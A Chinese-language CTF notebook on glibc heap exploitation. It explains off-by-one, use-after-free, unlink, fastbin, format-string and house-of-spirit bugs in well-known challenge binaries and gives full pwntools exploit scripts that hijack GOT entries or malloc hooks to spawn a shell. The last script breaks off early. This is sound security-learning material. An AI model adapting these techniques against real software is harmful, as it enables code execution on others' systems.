题录

Asis CTF 2016 b00ks

难度:★★

核心利用是off-by-one

使得一个用于管理指针的chunk指向可写区域,进而达到任意写的目的

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

local_path = './b00ks'
io = process(local_path)
# libc = io.libc
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
# context.log_level = "debug"
context.binary = local_path

def menu(option):
io.recvuntil(b'>')
io.sendline(option)

def enter_author_name(author_name):
io.recvuntil(b':')
io.sendline(author_name)

def create(name_sz, name, dscr_sz, dscr):
menu(b'1')
io.recvuntil(b':')
io.sendline(name_sz)
io.recvuntil(b':')
io.sendline(name)
io.recvuntil(b':')
io.sendline(dscr_sz)
io.recvuntil(b':')
io.sendline(dscr)

def delete(idx):
menu(b'2')
io.recvuntil(b':')
io.sendline(idx)

def edit(idx, dscr):
menu(b'3')
io.recvuntil(b':')
io.sendline(idx)
io.recvuntil(b':')
io.sendline(dscr)

def printbook(idx):
menu(b'4')
for i in range(idx): #print功能会打印所有book的信息,需要挑选
io.recvuntil(b':')
bookID = int(io.recvline()[1:-1])
io.recvuntil(b':')
name = io.recvline()[1:-1]
io.recvuntil(b':')
dscr = io.recvline()[1:-1]
io.recvuntil(b':')
author = io.recvline()[1:-1]

return bookID, name, dscr, author

def change(author_name):
menu(b'5')
enter_author_name(author_name)

# off by one to leak addr of book1
enter_author_name(b'a'*32)#使得在打印book1地址前不会停下

create(b'64', b'book1', b'32', b'a'*32)#这个大小还有一些限制,这样的话刚刚好,否则可能会要填充一些padding

bookID1, name1, dscr1, author1 = printbook(1)

book1_addr = unpack(author1[32:32+6].ljust(8, b'\x00'))
log.success("leak book1_addr:" + hex(book1_addr))

create(b'32', b'/bin/sh', b'135168', b'/bin/sh')#mem指针指向'/bin/sh'指针,free时用到
#gdb.attach(io)
# construct fake book1 to leak addr of book2
payload1 = pack(1) + pack(book1_addr+0x70) + pack(book1_addr-0x30) + pack(100)
#第二个pack是为了得到mmap地址
#第三个pack是为了使得des1指向的位置不变

edit(b'1', payload1)

# off by null to point at fake book1
change(b'a'*32)

bookID1, name1, dscr1, author1 = printbook(1)

mmap_addr = unpack(name1.ljust(8, b'\x00'))
log.success("leak mmap_addr:" + hex(mmap_addr))

# gdb.attach(io)

libc_base = mmap_addr + 0x22000 - 0x10#去头加偏移
log.success("leak libc_base:" + hex(libc_base))

system_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']

payload2 = pack(1) + pack(book1_addr+0x70) + pack(free_hook_addr) + pack(100)
#将des1指针替换为free_hook的地址,并修改其为system的地址
edit(b'1', payload2)
edit(b'1', pack(system_addr))

delete(b'2')

io.interactive()

与wiki和大多数博客的不同,我做了一些调整,这个我觉得是更合理的(基于ubuntu20原装环境)

小记0x1-0x3

v&n2020招新赛simpleheap

难度:★★

这题难度较上一题要明显高出一截

核心利用是off-by-one以及unsortedbin attack

程序的漏洞在于其edit函数存在off-by-one,以此来修改下一个chunk的size域

并利用unsortedbin的切割特性来泄露mainarena+88,来得到libc_base

再通过伪造一个fakechunk(可写hook)到fastbins链上,使得两次分配得到该chunk并覆写mallochook和reallochook

不直接覆盖mallochook为onegadget的原因是,四个onegadget的条件都不满足,故只能通过realloc函数来调整栈帧并调用reallochook为one_gadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
p = process("./vn")
libc = ELF("/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
gdb.attach(p)
def create(size,content):
p.sendafter(b"choice: ",'1')
p.sendafter(b'?',str(size))
p.sendafter(b':',content)
def edit(id,content):
p.sendafter(b"choice: ",'2')
p.sendafter(b'?',str(id))
p.sendafter(b':',content)
def show(id):
p.sendafter(b"choice: ",'3')
p.sendafter(b'?',str(id))
def free(id):
p.sendafter(b"choice: ",'4')
p.sendafter(b'?',str(id))

create(0x18,b'a')
create(0x48,b'a')
create(0x68,b'a')#2
create(0x10,b'a')

payload = b'a'*0x18 + b'\xc1'
edit(0,payload)

free(1)
create(0x48,b'a')
show(2)

leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr - 0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook']
log.info("malloc_hook:"+hex(malloc_hook))
realloc_hook = libc_base + libc.sym['__realloc_hook']
log.info("realloc_hook:"+hex(realloc_hook))
realloc = libc_base + libc.sym['realloc']
log.info("realloc:"+hex(realloc))

create(0x68,b'a')#4
free(4)
payload = p64(malloc_hook-27-8)+b'\n'
edit(2,payload)

create(0x68,b'a')
create(0x68,b'a')#5

one = 0x4527a
onegadget = libc_base + one
log.info("one:"+hex(onegadget))

payload = b'a'*11 + p64(onegadget) + p64(realloc+12) + b'\n'#这两个换行很重要,没有换行就会卡住不知道为什么
edit(5,payload)


#gdb.attach(p)
p.sendafter(b"choice: ",'1')
p.sendafter(b'?',str(0x10))


p.interactive()
-----------------------又或者另一个有微小差异的版本--------------------------------------
from pwn import *
context.log_level='debug'
r=process('./vn')
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(size,content):
r.recvuntil(b"choice: ")
r.send(b"1")
r.sendafter(b"size?",str(size))
r.sendafter(b"content:",content)

def edit(idx,content):
r.recvuntil(b"choice: ")
r.send(b"2")
r.sendafter(b"idx?",str(idx))
r.sendafter(b"content:",content)

def dump(idx):
r.recvuntil(b"choice: ")
r.send(b"3")
r.sendafter(b"idx?",str(idx))

def free(idx):
r.recvuntil(b"choice: ")
r.send(b"4")
r.sendafter(b"idx?",str(idx))

add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk

edit(0,b'a'*0x18+b'\xe1')
free(1)
#gdb.attach(r)

add(0x68,b'a'*0x08)

dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))

print(hex(leak))

#gdb.attach(r)

libc_base=leak-(0x3c4b78)

realloc_addr=libc_base+libc.sym['__libc_realloc']

malloc_hook=libc_base+libc.sym['__malloc_hook']

fake_chunk_addr=malloc_hook-0x23

one_gadget=libc_base+0x4527a

print(hex(realloc_addr))
print(hex(fake_chunk_addr))
add(0x68,b'a'*0x08)# 4与2同时指向0x70
free(4)
edit(2,p64(fake_chunk_addr)+b'\n')#换行依然很重要
#gdb.attach(r)
add(0x68,b'a'*0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil(b"choice: ")
r.send(b"1")
r.sendafter(b"size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()

运行有小几率会发生段错误,并且gdb无法获取符号表,不知道为什么[无法获取符号表已解决见小记0x6]

有几处一定要加换行符,大概是因为程序中的edit函数中的read是一个字节一个字节读入的,故空字符会使得read等待输入,而不是继续往下执行直到退出,故需要换行符来触发退出.

小记0x4

HITCON Trainging lab13 heapcreator

难度:★

核心利用依然是off-by-one,且off-by-one大概率和chunk-extend利用有关

这次可以利用off-by-one漏洞达到任意写任意读的目的

读哪里写哪里是一个关键

因为程序没有开启pie,所以可以直接得到某个函数的got表地址,此外,got表可修改

比较方便的利用是修改free的got表

然后先读出free真实地址以此得到libc基址

然后再修改free为system函数

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
#context.log_level='debug'
#p=remote('node4.buuoj.cn',25919)#这道题在buuctf也能找到
p=process('./hc')
elf=ELF('./hc')
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
p.recv()
def create(size,content):
p.send(b'1')
p.recv()
p.send(size)
p.recv()
p.send(content)
p.recv()

def edit(idx,content):
p.send(b'2')
p.recv()
p.send(idx)
p.recv()
p.send(content)
p.recv()

def show(idx):
p.send(b'3')
p.recv()
p.send(idx)

def delete(idx):
p.send(b'4')
p.recv()
p.send(idx)
p.recv()

create(b'24',b'a')
create(b'16',b'a')
edit(b'0',b'/bin/sh\x00'+b'a'*16+b'\x41')
delete(b'1')
#gdb.attach(p)
#free后,原先的contentchunk和头chunk被挂入fastbin,且由于大小合适contentchunk会被取出作为新的头chunk,这样新的头chunk和contentchunk的位置就对调了,从而可写content指针
payload=p64(0)*4+p64(100)+p64(elf.got['free'])
create(b'48',payload)
#gdb.attach(p)
show(b'1')
p.recvuntil(b'Content : ')
free_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(free_addr))
base=free_addr-libc.symbols['free']
print(hex(base))
system_addr=base+libc.symbols['system']
print(hex(system_addr))
edit(b'1',p64(system_addr))
p.send(b'4') #这里不用delete函数是因为跳转到执行system后,就接收不到数据了,recv会堵塞卡住
p.recv()
p.send(b'0')
p.interactive()

这题唯一需要注意的就是确定free-got表这个利用点,因为free的参数是一个可写指针,这样再修改为system函数,参数就可控了

而恰好这道题没有pie且got表可写,free-got表是最快捷的突破点,至于修改hook什么的也能做到不过要多花一些功夫

2015 hacklu bookstore

难度:★★★

难度不小,非常综合的一题,要用到不少知识

程序没有开relro和pie

程序比较易发现的漏洞有

  1. 无限读,程序在读取内容时是仅以出现换行符来判断结束的
  2. 程序在free后没有设置NULL,故存在UAF
  3. 程序结尾存在一个格式字符串漏洞

写的能力全部在格式化字符串上

核心关键点在于修改了book2的size后在释放,使得submit获得的chunk就为book2,从而使的dest被overlap以达到控制格式化字符串的目的

其中book1的内容的控制也算十分精妙

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
我们需要让printf堆块处执行格式化的漏洞,就需要让submit功能去帮助我们覆盖,submit功能会加上order1:等这些字符串,不能漏掉,总结后可以得知新申请的堆块内容为:

Order 1: + chunk1 + \n + Order 2: + chunk2 + \n


因为chunk2已经被delete掉了,所以当复制chunk2中的内容的时候复制的其实是order 1: + chunk1。所以上述可以变为:

Order 1: + chunk1 + \n + Order 2: + Order 1: + chunk1 + \n


所以我们可以构造第二次的chunk1内容恰好覆盖到dest堆块处。也就是:

size(Order 1: + chunk1 + \n + Order 2: + Order 1:) == 0x90

size(chunk1) == 0x90 - 28 == 0x74

然而单单一次格式化字符串显然并不能达到目的

故而又要想方设法做到二次利用

最好的方法自然是.fini_array的利用

且这道题.fini_array的返回地址恰好与一个onegadget相近,剩下的就都是常规套路了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

p = process('./books')
#context.log_level = 'debug'
elf = ELF('./books')
libc = ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def edit1(content) :
p.sendline(b'1')
p.recvuntil(b'Enter first order:\n')
p.sendline(content)

def edit2(content) :
p.sendline(b'2')
p.recvuntil(b'Enter second order:\n')
p.sendline(content)

def delete2() :
p.sendline(b'4')

fini_array = 0x6011B8
main_addr = 0x400A39

delete2()

payload = b"%2617c%13$hn.%31$p,%28$p"
payload += b'A'*(0x74-len(payload))
payload += p8(0x0)*(0x88-len(payload))
payload += p64(0x151)
edit1(payload)

payload2 = b'5'+p8(0x0)*7 + p64(fini_array)
p.sendline(payload2)
#leak --> libc_base
p.recvuntil(b'\x2e')
p.recvuntil(b'\x2e')
p.recvuntil(b'\x2e')
data = p.recv(14)
p.recvuntil(b',')
ret_addr = p.recv(14)
data = int(data,16) - 240
ret_addr = int(ret_addr,16) + 0x28 - 0x210
libc_base = data - libc.symbols['__libc_start_main']
log.success('ret_addr :'+hex(ret_addr))

#repeat --> change ret_addr --> system_addr(one_gadget)
one_shot = libc_base + 0x45226
print (hex(one_shot))
one_shot1 = '0x'+hex(one_shot)[-2:]
one_shot2 = '0x'+hex(one_shot)[-6:-2]
print (one_shot1,one_shot2)
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)

delete2()

payload3 = bytes('%{}d%13$hhn'.format(one_shot1),'utf-8')
payload3 += bytes('%{}d%14$hn'.format(one_shot2-one_shot1),'utf-8')
payload3 += b'A'*(0x74-len(payload3))
payload3 += p8(0x0)*(0x88-len(payload3))
payload3 += p64(0x151)
edit1(payload3)

payload4 = b'5' + p8(0x0)*7 + p64(ret_addr) + p64(ret_addr+1)
p.sendline(payload4)

p.interactive()

小记0x5-0x6

2014 HITCON stkof

难度:★★

非常经典的unlink题目

其最大的利用点是其edit功能无大小限制,可以读取任意大小数据,依此可以做到覆盖下一个chunk的prev_size和size,从而达到unlink的功能

注意点1:这题的第一次o操作是在第一个chunk申请后,也就是说第一个我们申请的chunk的后面会是一个stdout的缓冲区,是我们无法利用的,因此需一个chunk引出ochunk,之后正常利用

注意点2:这题没有任何能够输出有效信息的功能,故而一切有效利用信息,都需要通过基于unlink实现的改写got表,通过puts函数泄露信息,最后wiki选择的是修改atoi函数为system,但我选择的再次修改free_got,另外wiki的exp最后好像有一点问题..

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
p=process('./stkof')
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
e=ELF('./stkof')
head=0x602140 #but the first not use so....

def alloc(size):
p.sendline(b'1')
p.sendline(str(size))
p.recv()

def read(idx,length,content):
p.sendline(b'2')
p.sendline(str(idx))
p.sendline(str(length))
p.send(content)
p.recv()

def free(idx):
p.sendline(b'3')
p.sendline(str(idx))

alloc(0x10)
alloc(0x30)
alloc(0x80) #ensure chunksize >MAX_fastbin(0x80)
#alloc(0x20)

payload1=p64(0)+p64(0x20)+p64(head-0x8)+p64(head)+p64(0x20)#fake chunk and unlink trigger
payload1=payload1.ljust(0x30,b'a') #pudding
payload1+=p64(0x30)+p64(0x90) #edit prev_inuse bit

read(2,len(payload1),payload1)
free(3) #trigger unlink
#gdb.attach(p)

payload2=b'a'*8+p64(e.got['free'])+p64(e.got['puts'])+p64(e.got['free'])#depoloy 0,1,2

read(2,len(payload2),payload2)

gdb.attach(p)
pause()

read(0,8,p64(e.plt['puts'])) #free ->puts
free(1) ##puts(plt_addr)
puts_got=p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')
puts_got=u64(puts_got)
log.success('puts_plt:'+hex(puts_got))
libc_base=puts_got-libc.symbols['puts']
system=libc_base+libc.symbols['system']
read(2,8,p64(system))#free -> puts -> system
alloc(0x20)
read(4,8,b'/bin/sh\x00')

free(4)#system('/bin/sh\x00')
p.interactive()

这题chunk靠不靠近top_chunk不是很重要影响不大

另外特别要注意一点是:chunk3的大小要超过fastbin的最大大小,不然的话释放chunk3直接进入fastbin就不会触发unlink了

最后提一下gdb的显示问题,gdb会从堆的开始判断chunk的个数,以这题为例,unlink后chunk2和chunk3依然存在,这是因为gdb先判断的chunk2,这样就把我们伪造的chunk的头给包含进chunk2了,于是unlink后的chunk就没有被gdb识别,反而chunk3继续存在

2014HITCON note2

难度:★★

和上一题几乎一个套路,也是标准的unlink题

防护pie没开,以及got表可写

关键的利用点在于一个整数溢出点,是的可以达到无限读的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]

for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = 0;
return i;
}

i是无符号整型,a2是有符号数,如果a2等于0,那么a2-1就是-1就会被视为一个极大的无符号数

其它和上一题一个套路

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import*
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#context.log_level = 'debug'


def newnote(length, content):
p.recvuntil(b'option--->>')
p.sendline(b'1')
p.recvuntil(b'(less than 128)')
p.sendline(str(length))
p.recvuntil(b'content:')
p.sendline(content)


def shownote(id):
p.recvuntil(b'option--->>')
p.sendline(b'2')
p.recvuntil(b'note:')
p.sendline(str(id))


def editnote(id, choice, s):
p.recvuntil(b'option--->>')
p.sendline(b'3')
p.recvuntil(b'note:')
p.sendline(str(id))
p.recvuntil(b'2.append]')
p.sendline(str(choice))
p.sendline(s)


def deletenote(id):
p.recvuntil(b'option--->>')
p.sendline(b'4')
p.recvuntil(b'note:')
p.sendline(str(id))

ptr0=0x602120
content=p64(0)+p64(0x60)+p64(ptr0-0x18)+p64(ptr0-0x10)+p64(0)*8+p64(0x60)

p.sendline(b'name')
p.sendline(b'address')

newnote(0x80,content)
newnote(0,p64(0))
newnote(0x80,p64(0))

deletenote(1)

content=p64(0)*2+p64(0xa0)+p64(0x90)

newnote(0,content)

deletenote(2)

content=b'a'*24+p64(note2.got['atoi'])

editnote(0,1,content)

shownote(0)
p.recvuntil(b'is ')
atoi_addr = p.recvuntil(b'\n', drop=True)
atoi_addr=u64(atoi_addr.ljust(8,b'\x00'))
print(hex(atoi_addr))
libc_base=atoi_addr-libc.symbols['atoi']
system_addr=libc_base+libc.symbols['system']
log.success(hex(libc_base))
content = p64(system_addr)

editnote(0, 1, content)

p.sendline(b'\bin\sh\x00')
p.interactive()

注意点:strnat,strcpy这些函数结束判断都与’\0’有极大关系,故而相关填充时就不能随意填充0了,否则可能达不到我们需要的效果

2017 insomni’hack wheelofrobots

难度:★★★

难度更上一筹,对漏洞的发现能力要求更高

防护依然是canary和nx

利用点1:读取选项的函数,读取5个字节,最后一个字节恰好能覆盖到bender的inuse状态位

利用点2:在添加 Destructor 轮子的时候,并没有进行大小检测。如果读取的数为负数,那么在申请calloc(1uLL, 20 * v5); 时就可能导致 20*v5 溢出,但与此同时, destructor_size = v5 仍然会很大。

利用思路要更复杂,要记清楚各个指针的地址就不容易了,逻辑也要更清晰才行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import *
context.binary = "./wofr"
robots = ELF('./wofr')
p = process("./wofr")
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')



def add(idx, size=0):
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Your choice :')
p.sendline(str(idx))
if idx == 2:
p.recvuntil(b"Increase Bender's intelligence: ")
p.sendline(str(size))
elif idx == 3:
p.recvuntil(b"Increase Robot Devil's cruelty: ")
p.sendline(str(size))
elif idx == 6:
p.recvuntil(b"Increase Destructor's powerful: ")
p.sendline(str(size))


def remove(idx):
p.recvuntil(b'Your choice :')
p.sendline(b'2')
p.recvuntil(b'Your choice :')
p.sendline(str(idx))


def change(idx, name):
p.recvuntil(b'Your choice :')
p.sendline(b'3')
p.recvuntil(b'Your choice :')
p.sendline(str(idx))
p.recvuntil(b"Robot's name: \n")
p.send(name)


def start_robot():
p.recvuntilb('Your choice :')
p.sendline(b'4')


def overflow_benderinuse(inuse):
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Your choice :')
p.send(b'9999' + inuse)


def write(where, what):
change(1, p64(where))
change(6, p64(what))

def exp():
print ("step 1")

# add a fastbin chunk 0x20 and free it
# so it is in fastbin, idx2->NULL
add(2, 1) # idx2
remove(2)

# overflow bender inuse with 1
overflow_benderinuse(b'\x01')

# change bender's fd to 0x603138, point to bender's size
# now fastbin 0x20, idx2->0x603138->NULL
change(2, p64(0x603138))


# in order add bender again
overflow_benderinuse(b'\x00')

# add bender again, fastbin 0x603138->NULL
add(2, 1)

# in order to malloc chunk at 0x603138
# we need to bypass the fastbin size check, i.e. set *0x603140=0x20
# it is at Robot Devil
add(3, 0x20)

# trigger malloc, set tinny point to 0x603148
add(1)

# wheels must <= 3
remove(2)
remove(3)

print ('step 2')

# alloc Destructor size 60->0x50, chunk content 0x40
add(6, 3)

# alloc devil, size=20*7=140, bigger than fastbin
add(3, 7)

# edit destructor's size to 1000 by tinny
change(1, p64(1000))

# place fake chunk at destructor's pointer
fakechunk_addr = 0x6030E8
fakechunk = p64(0) + p64(0x20) + p64(fakechunk_addr - 0x18) + p64(
fakechunk_addr - 0x10) + p64(0x20)
fakechunk = fakechunk.ljust(0x40, b'a')
fakechunk += p64(0x40) + p64(0xa0)
change(6, fakechunk)

# trigger unlink
remove(3) #unlink 6

print ('step 3')

# make 0x6030F8 point to 0x6030E8
payload = p64(0) * 2 + 0x18 * b'a' + p64(0x6030E8)
change(6, payload)

print ('step 4')

# make exit just as return
write(robots.got['exit'], 0x401954)

print ('step 5')

# set wheel cnt =3, 0x603130 in order to start robot
write(0x603130, 3)

# set destructor point to puts@got
change(1, p64(robots.got['puts']))
start_robot()
p.recvuntil(b'New hands great!! Thx ')
puts_addr = p.recvuntil(b'!\n', drop=True).ljust(8, b'\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

# make free->system
write(robots.got['free'], system_addr)

# make destructor point to /bin/sh addr
write(0x6030E8, binsh_addr)

# get shell
remove(6)
p.interactive()

if __name__ == "__main__":
exp()

2014ZCTF note3

难度:★★

难度和前几题差不多,但有一个大坑!!

利用点1:如果size输入0,会存在一个无符号整型与有符号整型的比较,造成整数溢出,几乎可以无限输入

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*

elf=ELF('./note3')
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def newnote(size,content):
p.sendline(b'1')
p.recvuntil(b':(less than 1024)\n')
p.sendline(str(size))
p.recvuntil(b' content:\n')
p.sendline(content)
p.recvline()

def delete(idx):
p.sendline(b'4')
p.recvuntil(b'id of the note:\n')
p.sendline(str(idx))
#p.recvuntil(b'Delete success\n')

def change(idx,content):
p.sendline(b'3')
p.recvuntil(b'the note:\n')
p.sendline(str(idx))
p.recvuntil(b'new content:\n')
p.sendline(content)
#p.recvuntil(b'Edit success\n')

p=process('./note3')
chunk0_ptr_addr=0x6020C8
newnote(0,b'a')
newnote(0x30,b'a')
newnote(0x80,b'a')
newnote(0x20,b'/bin/sh\x00')

payload=b'a'*16+p64(0x20)+p64(0x41)
payload+=p64(0)+p64(0x20)+p64(chunk0_ptr_addr-0x10)+p64(chunk0_ptr_addr-0x8)+p64(0x20)
payload+=b'a'*8+p64(0x30)+p64(0x90)
change(0,payload)

delete(2)
payload=b'a'*16+p64(elf.got['puts'])+p64(elf.got['free'])
change(1,payload)



change(1,p64(elf.plt['puts'])[:-1])

delete(0)
puts_addr=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
sys_addr=libc_base+libc.symbols['system']
change(1,p64(sys_addr)[:-1])

delete(3)
p.interactive()

说一下刚才提到的坑,就是程序自定义的输入函数,会将输入的最后一个字符的后一字节置为0或者遇到换行符将换行符置为0,这里是第二种情况

因此在写一个got表时,就会把这个got附近的got表给修改掉,从而使程序异常退出,被一脸懵逼地卡了好久

解决办法就是p64(elf.plt[‘puts’])[:-1]这样,只发送8个字节,且第八个字节被置为0,不影响本来的数据(高地址本来就是0),如果不这样的话相邻的got表的最低字节就会变成0

说到底还是怪自己没注意sendline.

另外还学到了伪造unlink后项chunk的方法,即通过后项的后项的size判断后项是否被使用,并以此绕过

HITCON-training lab 10 hacknote

难度:★

防护nx和canary

利用点是UAF,delete函数只是free没有置0,意味着其他函数照样可以继续使用该chunk,但是其又可以被分配给新的note,这样我们就具有了修改一个可以被使用的note的头的能力

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
r.recvuntil(b":")
r.sendline(b"1")
r.recvuntil(b":")
r.sendline(str(size))
r.recvuntilb(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(b":")
r.sendline(b"2")
r.recvuntil(b":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(b":")
r.sendline(b"3")
r.recvuntil(b":")
r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, b"aaaa") # add note 0
addnote(32, b"ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

2014 hack.lu oreo

难度:★★

防护照旧

很容易发现添加操作时的读取溢出,且申请的chunk的最后四字节存放上一个chuk的指针

即用单链表存储申请的chunk

加上溢出可以控制这个指针

写的功能除了add就只剩下leave_messa了

且free时就是按照单链表来取出chunk逐个free

故利用点是house of spirit,方向是在message指向处伪造chunk,刚好程序存在一个记录chunk数的内存域,可以被视为size,只要chunk数量刚好对齐

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import*

p=process('./oreo')
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
elf=ELF('./oreo')

def add(name,des):
p.sendline(b'1')
#p.recvuntil(b'Rifle name: ')
p.sendline(name)
#p.recvuntil(b'Rifle description: ')
p.sendline(des)

def order():
p.sendline(b'3')

def show():
p.recv()
p.sendline(b'2')

def message(content):
p.sendline(b'4')
#p.recvuntil(b"Enter any notice you'd like to submit with your order: ")
p.sendline(content)

name=b'a'*27+p32(elf.got['puts'])

add(name,b'\n'*25)
show()
p.recvuntil(b'Description: ')
p.recvuntil(b'Description: ')
puts_addr=p.recv(4)
puts_addr=u32(puts_addr)
print(hex(puts_addr))

base_addr=puts_addr-libc.symbols['puts']
system=base_addr+libc.symbols['system']

print(hex(system))
count = 1
while (count < 0x3f):
add('a'*4,'b'*4)
count+=1

payload=b'a'*27+p32(0x804a2a8)
add(payload,b'a'*10)
payload=b'\x00'*0x20+p32(0x40)+p32(0x100)
message(payload)
#
order()

#p.recvuntil('Okay order submitted!\n')

payload = p32(elf.got['strlen'])
add(b'a'*20, payload)

message(p32(system) + b';/bin/sh\x00')#;执行多个命令,写完后立马执行
p.recv()
p.interactive()

再次记一下,puts函数遇到空字符结束,且必然会在结尾添加一个’\n’,无论结尾本身是否有换行

2015 9447 CTF : Search Engine

难度:★★★

这题的难度有一部分在于程序本身较为复杂,静态分析需要不少功夫

2017 0ctf babyheap

难度:★★★

这题开启了pie和以上几题不同

这题关键的漏洞在于填充申请的chunk时,大小是我们自己任意指定的,而不是申请时的大小,意味着几乎无限制溢出

攻击中用到fastbin attack与unsortedbin attack

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import*

p=process('./babyheap')
elf=ELF('./babyheap')
